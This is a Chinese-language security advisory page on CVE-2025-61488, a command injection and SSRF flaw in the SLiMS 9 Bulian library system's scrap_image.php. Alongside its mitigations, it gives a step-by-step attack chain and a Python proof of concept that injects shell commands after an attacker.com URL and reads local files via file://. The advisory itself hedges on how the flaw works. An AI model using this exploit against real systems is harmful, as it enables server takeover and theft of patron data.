IPBUF安全漏洞报告
English
CVE-2025-61488 CVSS 7.6 高危

CVE-2025-61488:SLiMS 9 Bulian scrap_image.php 远程代码执行漏洞

披露日期: 2025-10-20

漏洞信息

漏洞编号
CVE-2025-61488
漏洞类型
远程代码执行(RCE)/服务端请求伪造(SSRF)
CVSS评分
7.6 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Senayan Library Management System (SLiMS) 9 Bulian

相关标签

远程代码执行RCESLiMSSenayan图书馆管理系统scrap_image.phpimageURL命令注入SSRF高危漏洞

漏洞概述

CVE-2025-61488 是 Senayan Library Management System(SLiMS)9 Bulian v9.6.1 版本中存在的一个高危安全漏洞。该漏洞位于系统的 scrap_image.php 组件中,攻击者可以通过精心构造的 imageURL 参数实现远程代码执行(RCE)。SLiMS 是一款广泛应用于图书馆和学术机构的开源图书馆管理系统,9 Bulian 是其最新的主要版本,因此该漏洞影响范围较广。

根据 CVSS 3.1 评分体系,该漏洞评分为 7.6 分,属于高危级别。漏洞的攻击向量为网络(AV:N),攻击复杂度低(AC:L),但需要高权限(PR:H)才能利用,意味着攻击者需要先获取系统的合法管理员或高权限账户。用户交互方面无需受害者配合(UI:N)。一旦成功利用,漏洞将导致高机密性影响(C:H),攻击者可以读取系统敏感数据;完整性影响为低(I:L),可用性影响为无(A:N)。

该漏洞的危害主要体现在:攻击者可以在服务器端执行任意代码,从而完全控制受影响的服务器,窃取图书馆的用户数据、图书信息、借阅记录等敏感信息,甚至将服务器作为跳板进行内网渗透。考虑到 SLiMS 通常部署在教育机构和图书馆环境中,这些机构往往存储了大量用户的个人信息,因此该漏洞的潜在影响不容忽视。

技术细节

该漏洞的核心位于 SLiMS 9 Bulian v9.6.1 的 scrap_image.php 组件中。scrap_image.php 是 SLiMS 系统中用于抓取图书封面图片的功能模块,其设计初衷是从外部 URL 下载图书封面图片并保存到本地服务器。

漏洞的根本原因在于 scrap_image.php 对 imageURL 参数的处理缺乏充分的安全验证和过滤。具体而言:

1. **未充分验证 URL 协议**:imageURL 参数允许攻击者指定任意协议(如 file://、php://、data:// 等),而不仅限于 HTTP/HTTPS 协议。攻击者可以利用 file:// 协议读取服务器本地文件,或利用其他协议执行恶意操作。

2. **缺乏输入过滤**:系统未对 imageURL 参数中的特殊字符、路径遍历序列或恶意 Payload 进行过滤和转义,导致攻击者可以注入额外的命令或代码。

3. **服务端命令执行**:当 scrap_image.php 处理 imageURL 参数时,可能调用了系统命令(如 curl、wget 等)来下载图片,但未对参数进行安全转义,导致命令注入漏洞的产生。

4. **权限要求**:漏洞利用需要高权限(PR:H),这意味着攻击者需要先获取系统的管理员账户或具有相应权限的账户。这可能通过暴力破解、社会工程学或利用其他漏洞获取。

利用方式:攻击者在获取高权限账户后,向 scrap_image.php 发送包含恶意 imageURL 参数的请求,例如使用 file:// 协议读取敏感文件,或注入系统命令执行任意代码。

攻击链分析

STEP 1
步骤1:信息收集与目标识别
攻击者首先识别目标系统是否运行 SLiMS 9 Bulian v9.6.1,可通过访问 /admin 页面、查看 HTTP 响应头中的版本信息或检查特定文件路径来确定。
STEP 2
步骤2:获取高权限账户
由于漏洞利用需要高权限(PR:H),攻击者需要获取管理员账户的访问凭据。方法可能包括暴力破解默认/弱密码、社会工程学、钓鱼攻击或利用其他已知漏洞。
STEP 3
步骤3:获取有效会话
使用获取的管理员凭据登录 SLiMS 系统,获取有效的会话 Cookie(SenayanAdmin),用于后续的认证请求。
STEP 4
步骤4:构造恶意请求
攻击者向 scrap_image.php 端点发送精心构造的 POST 请求,在 imageURL 参数中注入恶意 Payload(如命令注入或 file:// 协议),利用系统对参数处理的不安全性。
STEP 5
步骤5:执行任意代码
服务器处理恶意请求时,由于缺乏对 imageURL 参数的充分验证和过滤,攻击者注入的命令或代码在服务器端被执行,实现远程代码执行。
STEP 6
步骤6:数据窃取与持久化
成功利用漏洞后,攻击者可以读取敏感数据(如数据库配置、用户信息),上传 Webshell 以维持持久访问,或将服务器作为跳板进行内网渗透。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-61488 - SLiMS 9 Bulian scrap_image.php RCE PoC # Vulnerability: Remote Code Execution via imageURL parameter # Affected: SLiMS 9 Bulian v9.6.1 # Authentication Required: High privileges (admin) import requests import sys TARGET_URL = "http://target-slims-server" ADMIN_COOKIE = "admin_session_cookie_here" # Replace with valid admin session cookie def exploit_rce(target_url, session_cookie, command): """ Exploit CVE-2025-61488 to achieve RCE via scrap_image.php The imageURL parameter is vulnerable to command injection """ endpoint = f"{target_url}/admin/modules/bibliography/scrap_image.php" headers = { "Cookie": f"SenayanAdmin={session_cookie}", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0" } # Malicious imageURL payload - command injection via URL parameter # The scrap_image.php passes imageURL to system commands without sanitization payload = { "imageURL": f"http://attacker.com/image.jpg;{command}", "title": "test", "imageSource": "remote" } try: response = requests.post(endpoint, data=payload, headers=headers, timeout=10) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response: {response.text[:500]}") return response except Exception as e: print(f"[-] Error: {e}") return None def exploit_file_read(target_url, session_cookie, file_path): """ Exploit CVE-2025-61488 to read local files via file:// protocol """ endpoint = f"{target_url}/admin/modules/bibliography/scrap_image.php" headers = { "Cookie": f"SenayanAdmin={session_cookie}", "Content-Type": "application/x-www-form-urlencoded" } # Using file:// protocol to read arbitrary files payload = { "imageURL": f"file://{file_path}", "title": "test", "imageSource": "remote" } response = requests.post(endpoint, data=payload, headers=headers, timeout=10) return response if __name__ == "__main__": if len(sys.argv) > 1: cmd = sys.argv[1] else: cmd = "id" print(f"[*] Targeting: {TARGET_URL}") print(f"[*] Executing command: {cmd}") exploit_rce(TARGET_URL, ADMIN_COOKIE, cmd)

影响范围

Senayan Library Management System (SLiMS) 9 Bulian v9.6.1

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)限制 scrap_image.php 组件的访问权限,仅允许可信管理员使用;2)在 Web 服务器或 WAF 层面添加规则,过滤 imageURL 参数中的特殊字符和危险协议(如 file://、php://、data:// 等);3)修改 scrap_image.php 代码,添加对 imageURL 参数的严格白名单验证,仅允许 HTTP/HTTPS 协议且限制目标域名;4)加强管理员账户的安全,使用强密码策略并启用双因素认证;5)监控 scrap_image.php 的访问日志,及时发现异常请求;6)考虑暂时禁用图书封面抓取功能,直到漏洞被修复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表